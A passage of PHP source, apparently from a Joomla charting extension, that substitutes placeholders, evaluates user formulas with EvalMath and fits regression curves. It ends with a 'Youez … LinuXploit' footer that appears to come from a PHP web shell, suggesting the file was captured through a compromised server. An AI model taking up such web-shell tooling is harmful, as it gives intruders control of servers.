                    $time_zone = Factory::getApplication()->getCfg('offset');
                    $date = new DateTime('now', new DateTimeZone($time_zone));
                    $string = str_replace("#time#", $date->format("H:i"), $string);
                    break;
                
                case "articleid":
                    $string = str_replace("#articleid#", @$row->id, $string);
                    break;
                
                case "articlename":
                    $string = str_replace("#articlename#", @$row->alias, $string);
                    break;
                
                case "catid":
                    $string = str_replace("#catid#", @$row->catid, $string);
                    break;
                
                case "username":
                    $user = Factory::getUser();
                    if ($user->get('id') != 0)
                        $string = str_replace("#username#", $user->get('name'), $string);
                    else
                        $string = str_replace("#username#", Text::_('GUEST_USER'), $string);
                    break;
                
                case "userid":
                    $user = Factory::getUser();
                    $string = str_replace("#userid#", $user->get('id'), $string);
                    break;
                
                default:
                    $var = Factory::getApplication()->input->get($matches[2][$i]);
                    if ($var)
                        $string = str_replace("#" . $matches[2][$i] . "#", $var, $string);
            }
        }
        
        return $string;
    }

    function getDataviaFormula ($formula, $x_interval = 1, $x_min = 0, $x_max = 5, $max_iterations = 500)
    {
        $result = array();
        if (strpos($formula, "=") === false)
        {
            $user_formula = trim($formula);
            $user_formula = str_replace(",", ".", $user_formula);
        }
        else
        {
            $tmp = explode("=", $formula);
            $user_formula = trim($tmp[1]);
            $user_formula = str_replace(",", ".", $tmp[1]);
        }
        if ($user_formula)
        {
            $evalc = new EvalMath();
            $evalc->evaluate("y(x)=" . $user_formula);
        }
        else
            return null;
        
        if ($x_min === null)
            $x_min = 0;
        if ($x_max === null)
            $x_max = 5;
        if ($x_interval === null)
            $x_interval = 1;
        
        $x_values = array();
        $y_values = array();
        $max_iter = $x_max + $x_interval;
        
        $j = 0;
        
        for ($x_value = $x_min; $x_value <= $max_iter; $x_value += $x_interval)
        {
            if ($j > $max_iterations)
            {
                $result['error'] = " x_max=&quot;$x_max&quot;, x_interval=&quot;$x_interval&quot;. Maximum ($max_iterations)  " . Text::_('MAX_CALCULATIONS');
                return $result;
            }
            $j ++;
            $x = round($x_value, 5);
            $value = $evalc->e("y($x)");
            if ($evalc->last_error)
            {
                $result['error'] = " &quot;$formula&quot; Error:" . $evalc->last_error;
                return $result;
            }
            else
            {
                array_push($x_values, round($x_value, 5));
                array_push($y_values, round($value, 5));
            }
        }
        $result['x_values'] = $x_values;
        $result['y_values'] = $y_values;
        // $result['error'] = null;
        return $result;
    }

    function calculate_Regression ($x_values, $data, $user_formula = null, $number_format = "c", $precision = 3)
    {
        $R = "R²";
        $formula_out = "";
        $result = array();
        
        if ($user_formula)
        {
            $formula_out = $user_formula;
            if (strpos($user_formula, "=") === false)
            {
                $user_formula = trim($user_formula);
                $user_formula = str_replace(",", ".", $user_formula);
                $formula = 4;
                
                $calc = new EvalMath();
                $calc->evaluate("y(x)=" . $user_formula);
            }
            else
            {
                $tmp = explode("=", $user_formula);
                $user_formula = trim($tmp[1]);
                $user_formula = str_replace(",", ".", $tmp[1]);
                if ($user_formula)
                {
                    $formula = 4;
                    $calc = new EvalMath();
                    $calc->evaluate("y(x)=" . $user_formula);
                }
                else
                    $formula = false;
            }
        }
        else
        {
            $j = 0;
            $test_X = array();
            $test_Y = array();
            $test_x_values = array();
            for ($k = 0; $k < count($data); $k ++)
            {
                if (($data[$k] != 0 && $x_values[$k] != 0) && ($data[$k] !== null && $x_values[$k] !== null))
                {
                    $test_Y[$j] = log10($data[$k]);
                    $test_X[$j] = log10($x_values[$k]);
                    $test_x_values[$j] = $x_values[$k];
                    $j ++;
                }
            }
            
            $slr1 = new SimpleLinearRegression($x_values, $data);
            $slr2 = new SimpleLinearRegression($test_x_values, $test_Y);
            $slr3 = new SimpleLinearRegression($test_X, $test_Y);
            
            // test three regression formulas:
            array_multisort($x_values, $data);
            
            if ($slr1)
                $tst1_R = $slr1->RSquared;
            if ($slr2)
            {
                $slr2_A_value = pow(10, $slr2->YInt);
                $slr2_B_value = pow(10, $slr2->Slope);
            }
            if ($slr3)
            {
                $slr3_A_value = pow(10, $slr3->YInt);
                $slr3_B_value = $slr3->Slope;
            }
            
            $slr2_value = array();
            $slr3_value = array();
            
            foreach ($x_values as $k => $x_value)
            {
                // equation: Y = a * b^X
                $slr2_value[$k] = $slr2_A_value * pow($slr2_B_value, $x_value);
                // equation: Y = a * X^b
                $slr3_value[$k] = $slr3_A_value * pow($x_value, $slr3_B_value);
            }
            
            $slr2_R = calcR($data, $slr2_value);
            $slr3_R = calcR($data, $slr3_value);
            
            $tst2_R = pow($slr2_R, 2);
            $tst3_R = pow($slr3_R, 2);
            
            $tst2_R = $slr2_R;
            $tst3_R = $slr3_R;
            
            if ($tst1_R > $tst2_R && $tst1_R > $tst3_R)
                $formula = 1;
            
            if (is_finite($tst2_R))
            {
                if ($tst2_R > $tst1_R && $tst2_R > $tst3_R)
                    $formula = 2;
            }
            
            if (is_finite($tst3_R))
            {
                if ($tst3_R > $tst1_R && $tst3_R > $tst2_R)
                    $formula = 3;
            }
            
            if ($formula == 1)
            {
                if ($slr1->YInt >= 0)
                    $plus = "+";
                else
                    $plus = "";
                $formula_out = "y = " . $this->formatNumber($number_format, $slr1->Slope, $precision) . "x" . "$plus" . $this->formatNumber($number_format, $slr1->YInt, $precision);
            }
            $formula_out .= " ($R=" . $this->formatNumber($number_format, $slr1->RSquared, $precision) . ")";
            if ($formula == 2)
            {
                $formula_out = "y = " . $this->formatNumber($number_format, $slr2_A_value, $precision) . " * " . $this->formatNumber($number_format, $slr2_B_value, $precision) . "^x";
                $formula_out .= " ($R=" . $this->formatNumber($number_format, $slr2_R, $precision) . ")";
            }
            if ($formula == 3)
            {
                $formula_out = "y = " . $this->formatNumber($number_format, $slr3_A_value, $precision) . " * x^" . $this->formatNumber($number_format, $slr3_B_value, $precision);
                $formula_out .= " ($R=" . $this->formatNumber($number_format, $slr3_R, $precision) . ")";
            }
        }
        if ($formula)
        {
            $value = array();
            $values = array();
            $j = 0;
            
            foreach ($x_values as $k => $x_value)
            {
                if ($formula == 1)
                    // equation: Y = X * $Slope + $YInt
                    // $value [$k] = ($x_value * $slr1->Slope) + $slr1->YInt;
                    $value[$k] = $slr1->PredictedY[$k];
                if ($formula == 2)
                    $value[$k] = $slr2_value[$k];
                
                if ($formula == 3)
                    $value[$k] = $slr3_value[$k];
                
                if ($formula == 4)
                {
                    $x = round($x_value, 5);
                    $value[$k] = $calc->e("y($x)");
                    
                    if ($calc->last_error)
                        return null;
                }
                if ($j == 0)
                {
                    // $values[$j] = new scatter_value($x_value, $value[$k],
                    // "");
                    $values[$j] = array(
                            round($x_value, 3),
                            round($value[$k], 3),
                            null,
                            (string) round($value[$k], $precision)
                    );
                    $j ++;
                }
                elseif ($x_values[$k] != $x_values[$k - 1])
                {
                    // $values[$j] = new scatter_value($x_value, $value[$k],
                    // "");
                    $values[$j] = array(
                            round($x_value, 3),
                            round($value[$k], 3),
                            null,
                            (string) round($value[$k], $precision)
                    );
                    $j ++;
                }
            }
            
            $result['values'] = $values;
            if ($formula == "4")
                $formula_out .= " ($R=" . $this->formatNumber($number_format, calcR($data, $value), $precision) . ")";
            $result['formula'] = $formula_out;
            $calc = null;
            
            return $result;
        }
        return null;
    }

    private function formatNumber ($format, $number, $precision = 3)
    {
        switch ($format)
        {
            case "a":
                $string = number_format($number, $precision, ".", "");
                for ($i = 0; $i < $precision; $i ++)
                    $string = rtrim($string, 0);
                $string = trim($string, ".");
                break;
            
            case "b":
                $string = number_format($number, $precision, ",", "");
                for ($i = 0; $i < $precision; $i ++)
                    $string = rtrim($string, 0);
                $string = trim($string, ",");
                break;
            
            case "c":
                $string = number_format($number, $precision, ",", ".");
                for ($i = 0; $i < $precision; $i ++)
                    $string = rtrim($string, 0);
                $string = trim($string, ",");
                break;
            
            case "d":
                $string = number_format($number, $precision, ".", ",");
                for ($i = 0; $i < $precision; $i ++)
                    $string = rtrim($string, 0);
                $string = trim($string, ".");
                break;
            
            default:
                $string = number_format($number, $precision, ",", ".");
                for ($i = 0; $i < $precision; $i ++)
                    $string = rtrim($string, 0);
                $string = trim($string, ",");
                break;
        }
        
        return $string;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit